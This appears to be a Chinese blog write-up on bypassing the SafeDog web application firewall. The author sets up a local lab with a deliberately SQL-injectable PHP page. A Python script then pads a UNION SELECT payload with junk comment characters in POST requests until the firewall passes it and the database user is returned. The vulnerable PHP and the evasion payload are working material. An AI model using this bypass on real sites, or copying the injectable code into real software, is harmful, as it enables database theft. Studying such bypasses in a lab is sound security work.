bypass安全狗测试学习
搭建简单的sql注入环境
在test数据库中创建sqltest表,插入字段数据
编写存在注入的php文件
<?php $id = $_REQUEST['uid']; echo "您当前执行的sql语句为:" ;
echo "select * from sqltest where id=" . $id . "<br/>";
echo "<hr>"; $mysqli = new mysqli('127.0.0.1','root','root','test'); if(mysqli_connect_errno()){
printf("连接失败:%s<br>",mysqli_connect_error());
exit();
}
$mysqli->set_charset("utf8"); $result = $mysqli->query("select * from sqltest where id=$id");
//print_r($result->fetch_array(MYSQLI_ASSOC)); while(list($id,$username,$password)=$result->fetch_row()){
echo "用户ID:" . $id . "<br/>";
echo "用户名:" . $username . "<br/>";
echo "用户密码:" . $password . "<br/>";
} $result->close();
$mysqli->close();
或者老版写法
<?php $id = $_REQUEST['uid']; $conn = @mysql_connect('127.0.0.1','root','root'); //这里使用@符号屏蔽出错信息
mysql_select_db('test',$conn); $sql = "select * from sqltest where id=$id";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)){
echo "用户ID:" . $row['id'] . "<br/>";
echo "用户名:" . $row['username'] . "<br/>";
echo "用户密码:" . $row['password'] . "<br/>";
} mysql_close($conn);
echo "<hr>";
echo "您当前执行的sql语句为:" ;
echo $sql; ?>
执行看下结果
安装安全狗
服务器名解决方法来自https://blog.csdn.net/nzjdsds/article/details/93740686
httpd.exe -k install -n apache2. 如果要删除服务重新来,可以输下面这个,给你留着备用
sc delete apache2.
bypass测试
可以用0=0和'-'判断字符数字型
因为对于软waf,如果提交的数据量过多。就会直接扔到后端去处理
get不能提交过多的数据,所以用post写了个简单的python脚本,通过叠加无用的字符,并检测是否绕过waf,我们的payload 1 /*无用的字符*/ union select user(),2
import requests
url = "http://192.168.41.129/index.php"
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0"
}
try:
for i in range(100,2999):
st = "/*"+"ABC"*i+"*/ union select user(),2,3"
data={
"uid":"1 %s " %st
}
print(i)
res= requests.post(url,headers=headers,data=data).text
print(data)
print(res)
if res.find("root")!=-1:
print(i)
break
except:
print('终止执行')
我这里在2561时候可以注出数据
其实可以发现安全狗对于post的过滤不严,对于get的过滤比较严格
没有绕过的部分,都是返回500。应该是安全狗的post规则中的过滤。
而get类型中的规则的过滤地方不同。
可以看出对于post过滤不严,对于get过滤严格。
我这里测试可以通过2561个ABC绕过,放入burp中尝试
验证失败
然后我又加了很多ABC测试发现可以绕过
绕过成功,这个版本比文章中的版本更高点。仍然可以绕过。
最好在源码里加上header("Content-type:text/html;charset=utf8"); 防止乱码
学习文章:
https://bbs.ichunqiu.com/thread-54014-1-1.html
bypass安全狗测试学习的更多相关文章
- phpunit测试学习 2 分类总结断言涉及哪些方面
11:27 2015/12/9phpunit测试学习 2, 分类总结断言涉及哪些方面先推荐windows快速打开某处路径下的cmd,进入测试状态:可以在文件夹中,按住Shift+鼠标右键,这时候你就 ...
- phpunit测试学习 1:一点简单的扼要有用的东西的总结 一点入门认识
16:45 2015/12/8phpunit测试学习 1:一点简单的扼要有用的东西的总结 一点入门认识 具体的入门安装和入门实践请参照文中的推荐博客或网上其他博客推荐博客,我感觉这几篇博客写得很不错 ...
- Web安全测试学习手册-业务逻辑测试
i春秋作家:Vulkey_Chen 首先感谢朋友倾璇的邀请 http://payloads.online/archivers/2018-03-21/1 ,参与了<web安全测试学习手册>的 ...
- IntelliJ IDEA测试学习网站
IntelliJ IDEA测试学习网站 http://idea.lanyus.com/ 嗯,请支持正版:
- 文件上传bypass安全狗
0x00 前言 本文首发于先知社区:https://xz.aliyun.com/t/9507 我们知道WAF分为软WAF,如某狗,某盾等等:云WAF,如阿里云CDN,百度云CDN等等:硬WAF,如天融 ...
- Mysql下Union注入Bypass安全狗过程
文章转载于:http://www.0aa.me/index.php/archives/95/ 一次众测发现个注入,然后有安全狗就顺带看了下安全狗. 先fuzz看看安全狗拦截什么关键词union sel ...
- 【数学】【筛素数】Miller-Rabin素性测试 学习笔记
Miller-Rabin是一种高效的随机算法,用来检测一个数$p$是否是素数,最坏时间复杂度为$\log^3 p$,正确率约为$1-4^{-k}$,$k$是检验次数. 一.来源 Mil ...
- LARK BOARD开发板试用第一篇-上电测试学习
1. 先看下板子外观,做工很不错 2. 主芯片的型号是,SoC 为 Cyclone V SX 系列的 5CSXFC6D6F31,不仅在芯片中包含传统的 FPGA 架构,还集成了基于 ARM Corte ...
- Web安全测试学习笔记 - DVWA+PHP环境搭建
DVWA(Damn Vulnerable Web Application),是一个用PHP编写的,作为Web安全测试练习平台的合法环境(毕竟咱不能为了练习就随便找个网站去攻击...),也就是俗称的靶场 ...
随机推荐
- PYTHON数据类型(进阶)
PYTHON数据类型(进阶) 一.字符串.列表.字典.元祖.集合的补充 str #captalize 首字母大写,其余小写 s1.capitalize() #swapcase 大小写翻转 s1.swa ...
- Python电影数据分析
数据说明:MovieLens数据集,它包含来自于943个用户以及精选的1682部电影的100K个电影打分.每个用户至少为20部电影打分,数据类型user id | item id | rating | ...
- MySQL数据库参数调优方法
怎么配置MySQL服务器,但考虑到服务器硬件配置的不同,具体应用的差别,那些文章的做法只能作为初步设置参考,我们需要根据自己的情况进行配置优化,好的做法是MySQL服务器稳定运行了一段时间后运行,根据 ...
- OpenAI的GPT-2:用Python构建世界上最先进的文本生成器的简单指南
介绍 "The world's best economies are directly linked to a culture of encouragement and positive f ...
- dijskra算法(求正权图中最短路)
思想:每次找到离原点最近的顶点,以这个点为中心扩展松弛,更新其余点到原点的最短路径. 注意:if(e[u][v]>x)e[u][v]=x; book[ ]数组标记最短路程的顶点集合 #inclu ...
- 运行npm安装wepy2踩坑error EEXIST 问题
windows 10安装wepy2 以前用过wepy1,现在要学习wepy2,运行以下命令出错 npm install @wepy/cli -g # 全局安装 WePY CLI 工具 打开log文件, ...
- Light of future-冲刺总结
目录 1.凡事预则立.测试博客的链接 2.包含冲刺日志集合随笔的所有内容 3.描述项目预期计划 7.代码仓库地址.测试文档链接地址.PPT链接地址 归属班级 →2019秋福大软件工程实践Z班 作业要求 ...
- git rebase解决合并冲突
git rebase解决合并冲突 记录合并冲突解决方法,使用的git rebase,感觉很好用 1.git rebase 文档 https://git-scm.com/docs/git-rebas ...
- javascript 入门 之 bootstrap 第一个程序
<table data-toggle="table"> <thead> <tr> <th>Item ID</th> &l ...
- Python设计模式(2)-策略模式
# 策略模式和简单工厂模式相比,少了使用switch case 做判断,然后去实例化相应的 # 对象,比简单工厂模式更灵活. 它们代码的区别就在于此处使用了抽象类代替工厂类 # coding=utf- ...